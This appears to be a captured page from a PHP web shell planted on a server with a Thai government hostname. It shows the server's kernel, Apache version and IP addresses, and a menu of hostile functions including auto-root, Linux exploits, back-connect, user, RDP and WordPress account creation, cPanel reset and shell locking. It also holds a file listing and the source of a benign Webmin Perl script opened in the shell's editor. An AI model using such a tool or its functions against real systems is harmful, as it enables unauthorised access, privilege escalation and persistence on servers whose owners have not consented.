Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
postgresql /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
old
[ DIR ]
drwxr-xr-x
CHANGELOG
5.45
KB
-rw-r--r--
acl_security.pl
5.46
KB
-rwxr-xr-x
backup.cgi
5.03
KB
-rwxr-xr-x
backup.pl
1.82
KB
-rwxr-xr-x
backup_config.pl
643
B
-rwxr-xr-x
backup_form.cgi
4.48
KB
-rwxr-xr-x
cgi_args.pl
993
B
-rwxr-xr-x
config
501
B
-rw-r--r--
config-Amazon-Linux-2-ALL
484
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
484
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
484
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
484
B
-rw-r--r--
config-cobalt-linux
435
B
-rw-r--r--
config-coherent-linux
507
B
-rw-r--r--
config-debian-linux
416
B
-rw-r--r--
config-debian-linux-4.0-ALL
425
B
-rw-r--r--
config-freebsd
588
B
-rw-r--r--
config-freebsd-8-ALL
580
B
-rw-r--r--
config-gentoo-linux
429
B
-rw-r--r--
config-mandrake-linux
435
B
-rw-r--r--
config-msc-linux
441
B
-rw-r--r--
config-netbsd
454
B
-rw-r--r--
config-openmamba-linux
444
B
-rw-r--r--
config-pardus-linux
431
B
-rw-r--r--
config-redhat-linux
444
B
-rw-r--r--
config-redhat-linux-10.0-23.0
772
B
-rw-r--r--
config-redhat-linux-24.0-ALL
500
B
-rw-r--r--
config-redhat-linux-7.0-7.2
493
B
-rw-r--r--
config-redhat-linux-7.3
507
B
-rw-r--r--
config-redhat-linux-7.4-9.0
507
B
-rw-r--r--
config-sol-linux
462
B
-rw-r--r--
config-suse-linux
448
B
-rw-r--r--
config-suse-linux-7.0
457
B
-rw-r--r--
config-suse-linux-7.1-9.0
459
B
-rw-r--r--
config-suse-linux-9.1-ALL
459
B
-rw-r--r--
config-syno-linux
454
B
-rw-r--r--
config-trustix-linux
619
B
-rw-r--r--
config-united-linux
459
B
-rw-r--r--
config-windows
510
B
-rw-r--r--
config.info
1.46
KB
-rw-r--r--
config.info.bg
1.7
KB
-rw-r--r--
config.info.bg.UTF-8
2.68
KB
-rw-r--r--
config.info.ca
1.65
KB
-rw-r--r--
config.info.ca.UTF-8
1.68
KB
-rw-r--r--
config.info.cz
746
B
-rw-r--r--
config.info.cz.UTF-8
802
B
-rw-r--r--
config.info.de
1.64
KB
-rw-r--r--
config.info.de.UTF-8
1.64
KB
-rw-r--r--
config.info.es
627
B
-rw-r--r--
config.info.es.UTF-8
635
B
-rw-r--r--
config.info.fr
1.54
KB
-rw-r--r--
config.info.fr.UTF-8
1.54
KB
-rw-r--r--
config.info.ja_JP.UTF-8
1.68
KB
-rw-r--r--
config.info.ja_JP.euc
1.3
KB
-rw-r--r--
config.info.ko_KR.UTF-8
1.42
KB
-rw-r--r--
config.info.ko_KR.euc
1.14
KB
-rw-r--r--
config.info.nl
1.6
KB
-rw-r--r--
config.info.nl.UTF-8
1.6
KB
-rw-r--r--
config.info.no
1.6
KB
-rw-r--r--
config.info.no.UTF-8
1.6
KB
-rw-r--r--
config.info.pl
501
B
-rw-r--r--
config.info.pl.UTF-8
521
B
-rw-r--r--
config.info.ru.UTF-8
1.05
KB
-rw-r--r--
config.info.ru_RU
695
B
-rw-r--r--
config.info.ru_RU.UTF-8
1.05
KB
-rw-r--r--
config.info.ru_SU
695
B
-rw-r--r--
config.info.sv
445
B
-rw-r--r--
config.info.sv.UTF-8
459
B
-rw-r--r--
config.info.tr
1.31
KB
-rw-r--r--
config.info.uk_UA
720
B
-rw-r--r--
config.info.uk_UA.UTF-8
1.06
KB
-rw-r--r--
config.info.zh_CN
269
B
-rw-r--r--
config.info.zh_CN.UTF-8
328
B
-rw-r--r--
config.info.zh_TW.Big5
393
B
-rw-r--r--
config.info.zh_TW.UTF-8
475
B
-rw-r--r--
cpan_modules.pl
86
B
-rwxr-xr-x
create_table.cgi
1.18
KB
-rwxr-xr-x
csv.cgi
2
KB
-rwxr-xr-x
csv_form.cgi
1.68
KB
-rwxr-xr-x
defaultacl
99
B
-rw-r--r--
delete_fields.cgi
629
B
-rwxr-xr-x
delete_grants.cgi
1.46
KB
-rwxr-xr-x
delete_groups.cgi
548
B
-rwxr-xr-x
delete_hosts.cgi
478
B
-rwxr-xr-x
delete_users.cgi
442
B
-rwxr-xr-x
down.cgi
602
B
-rwxr-xr-x
download.cgi
1.07
KB
-rwxr-xr-x
drop_dbase.cgi
1.15
KB
-rwxr-xr-x
drop_dbases.cgi
1.25
KB
-rwxr-xr-x
drop_table.cgi
1.1
KB
-rwxr-xr-x
drop_tables.cgi
1.72
KB
-rwxr-xr-x
edit_dbase.cgi
7.63
KB
-rwxr-xr-x
edit_field.cgi
2.28
KB
-rwxr-xr-x
edit_grant.cgi
2.69
KB
-rwxr-xr-x
edit_group.cgi
1.84
KB
-rwxr-xr-x
edit_host.cgi
4.01
KB
-rwxr-xr-x
edit_index.cgi
2
KB
-rwxr-xr-x
edit_manual.cgi
541
B
-rwxr-xr-x
edit_seq.cgi
2.1
KB
-rwxr-xr-x
edit_table.cgi
2.71
KB
-rwxr-xr-x
edit_user.cgi
2.58
KB
-rwxr-xr-x
edit_view.cgi
1.46
KB
-rwxr-xr-x
exec.cgi
1.51
KB
-rwxr-xr-x
exec_file.cgi
1.22
KB
-rwxr-xr-x
exec_form.cgi
3.15
KB
-rwxr-xr-x
import.cgi
2.4
KB
-rwxr-xr-x
index.cgi
9.62
KB
-rwxr-xr-x
install_check.pl
477
B
-rwxr-xr-x
list_grants.cgi
3.41
KB
-rwxr-xr-x
list_groups.cgi
1.36
KB
-rwxr-xr-x
list_hosts.cgi
2.47
KB
-rwxr-xr-x
list_users.cgi
1.96
KB
-rwxr-xr-x
log_parser.pl
2.41
KB
-rwxr-xr-x
login.cgi
829
B
-rwxr-xr-x
module.info
191
B
-rw-r--r--
module.info.ca
135
B
-rw-r--r--
module.info.ca.UTF-8
147
B
-rw-r--r--
module.info.de
131
B
-rw-r--r--
module.info.de.UTF-8
143
B
-rw-r--r--
module.info.es
45
B
-rw-r--r--
module.info.es.UTF-8
51
B
-rw-r--r--
module.info.fr
47
B
-rw-r--r--
module.info.fr.UTF-8
54
B
-rw-r--r--
module.info.hu
40
B
-rw-r--r--
module.info.hu.UTF-8
47
B
-rw-r--r--
module.info.ja_JP.UTF-8
57
B
-rw-r--r--
module.info.ja_JP.euc
46
B
-rw-r--r--
module.info.ko_KR.UTF-8
54
B
-rw-r--r--
module.info.ko_KR.euc
44
B
-rw-r--r--
module.info.ms_MY
150
B
-rw-r--r--
module.info.ms_MY.UTF-8
162
B
-rw-r--r--
module.info.nl
35
B
-rw-r--r--
module.info.nl.UTF-8
41
B
-rw-r--r--
module.info.no
34
B
-rw-r--r--
module.info.no.UTF-8
40
B
-rw-r--r--
module.info.pl
39
B
-rw-r--r--
module.info.pl.UTF-8
45
B
-rw-r--r--
module.info.ru.UTF-8
58
B
-rw-r--r--
module.info.ru_RU
40
B
-rw-r--r--
module.info.ru_RU.UTF-8
61
B
-rw-r--r--
module.info.ru_SU
40
B
-rw-r--r--
module.info.sv
33
B
-rw-r--r--
module.info.sv.UTF-8
39
B
-rw-r--r--
module.info.zh_CN
35
B
-rw-r--r--
module.info.zh_TW.Big5
39
B
-rw-r--r--
newdb.cgi
1.17
KB
-rwxr-xr-x
newdb_form.cgi
1.33
KB
-rwxr-xr-x
postgresql-lib.pl
33.72
KB
-rwxr-xr-x
restore.cgi
1.1
KB
-rwxr-xr-x
restore_form.cgi
1.42
KB
-rwxr-xr-x
save_field.cgi
1.05
KB
-rwxr-xr-x
save_grant.cgi
1.65
KB
-rwxr-xr-x
save_group.cgi
2.67
KB
-rwxr-xr-x
save_host.cgi
3.4
KB
-rwxr-xr-x
save_index.cgi
1.45
KB
-rwxr-xr-x
save_manual.cgi
330
B
-rwxr-xr-x
save_seq.cgi
2.57
KB
-rwxr-xr-x
save_sync.cgi
335
B
-rwxr-xr-x
save_user.cgi
1.59
KB
-rwxr-xr-x
save_view.cgi
1.37
KB
-rwxr-xr-x
search_form.cgi
1.38
KB
-rwxr-xr-x
setup.cgi
292
B
-rwxr-xr-x
start.cgi
284
B
-rwxr-xr-x
stop.cgi
278
B
-rwxr-xr-x
table_form.cgi
1.9
KB
-rwxr-xr-x
up.cgi
598
B
-rwxr-xr-x
useradmin_update.pl
2.1
KB
-rwxr-xr-x
view-lib.pl
3.56
KB
-rwxr-xr-x
view_table.cgi
14.58
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_host.cgi
#!/usr/bin/perl # save_host.cgi # Create, modify or delete an allowed host record require './postgresql-lib.pl'; &ReadParse(); &lock_file($hba_conf_file); $v = &get_postgresql_version(); @all = &get_hba_config($v); $host = $all[$in{'idx'}] if (!$in{'new'}); &error_setup($text{'host_err'}); if ($in{'delete'}) { # delete one host &delete_hba($host, $v); } else { # validate and parse inputs if ($in{'addr_mode'} == 0) { $host->{'address'} = '0.0.0.0' if (!$host->{'address'}); $object = $host->{'netmask'} = '0.0.0.0'; $host->{'type'} = $in{'ssl'} ? 'hostssl' : 'host'; } elsif ($in{'addr_mode'} == 1) { &check_ipaddress($in{'host'}) || &check_ip6address($in{'host'}) || &error($text{'host_ehost'}); $object = $host->{'address'} = $in{'host'}; $host->{'netmask'} = '255.255.255.255'; $host->{'type'} = $in{'ssl'} ? 'hostssl' : 'host'; } elsif ($in{'addr_mode'} == 2) { # Parse address / netmask &check_ipaddress($in{'network'}) || &check_ip6address($in{'network'}) || &error($text{'host_enetwork'}); &check_ipaddress($in{'netmask'}) || &error($text{'host_enetmask'}); $host->{'address'} = $in{'network'}; $host->{'netmask'} = $in{'netmask'}; delete($host->{'cidr'}); $host->{'type'} = $in{'ssl'} ? 'hostssl' : 'host'; $object = "$in{'network'}/$in{'netmask'}"; } elsif ($in{'addr_mode'} == 4) { # Parse address / CIDR &check_ipaddress($in{'network2'}) || &check_ip6address($in{'network2'}) || &error($text{'host_enetwork'}); $in{'cidr'} =~ /^\d+$/ || &error($text{'host_ecidr'}); $host->{'address'} = $in{'network2'}; $host->{'cidr'} = $in{'cidr'}; delete($host->{'netmask'}); $host->{'type'} = $in{'ssl'} ? 'hostssl' : 'host'; $object = "$in{'network2'}/$in{'cidr'}"; } else { $object = $host->{'type'} = 'local'; } if ($in{'db'}) { $host->{'db'} = $in{'db'}; } else { $in{'dbother'} || &error($text{'host_edb'}); $host->{'db'} = join(",", split(/\s+/, $in{'dbother'})); } if ($v >= 7.3) { $in{'user_def'} || $in{'user'} || &error($text{'host_euser'}); $host->{'user'} = $in{'user_def'} ? 'all' : join(",", split(/\s+/, $in{'user'})); } $host->{'auth'} = $in{'auth'}; if ($in{'auth'} eq 'password' && $in{'passwordarg'}) { $in{'password'} =~ /^\S+$/ || &error($text{'host_epassword'}); $host->{'arg'} = $in{'password'}; } elsif ($in{'auth'} eq 'ident' && $in{'identarg'} == 1) { $in{'ident'} =~ /^\S+$/ || &error($text{'host_eident'}); $host->{'arg'} = $in{'ident'}; } elsif ($in{'auth'} eq 'ident' && $in{'identarg'} == 2) { $host->{'arg'} = 'sameuser'; } elsif ($in{'auth'} eq 'peer' && $in{'peerarg'} == 1) { $in{'peer'} =~ /^\S+$/ || &error($text{'host_eident'}); $host->{'arg'} = $in{'peer'}; } elsif ($in{'auth'} eq 'peer' && $in{'peerarg'} == 2) { $host->{'arg'} = 'sameuser'; } elsif ($in{'auth'} eq 'pam' && $in{'pamarg'}) { $in{'pam'} =~ /^\S+$/ || &error($text{'host_epam'}); $host->{'arg'} = $in{'pam'}; } else { $host->{'arg'} = undef; } if ($in{'new'}) { &create_hba($host, $v); } else { &modify_hba($host, $v); } } &unlock_file($hba_conf_file); &restart_postgresql(); &webmin_log($in{'new'} ? 'create' : $in{'delete'} ? 'delete' : 'modify', 'hba', $host->{'type'} eq 'local' ? 'local' : $host->{'netmask'} eq '0.0.0.0' ? 'all' : $host->{'netmask'} eq '255.255.255.255' ? $host->{'address'}: "$host->{'address'}/$host->{'netmask'}", $host); &redirect("list_hosts.cgi");
Close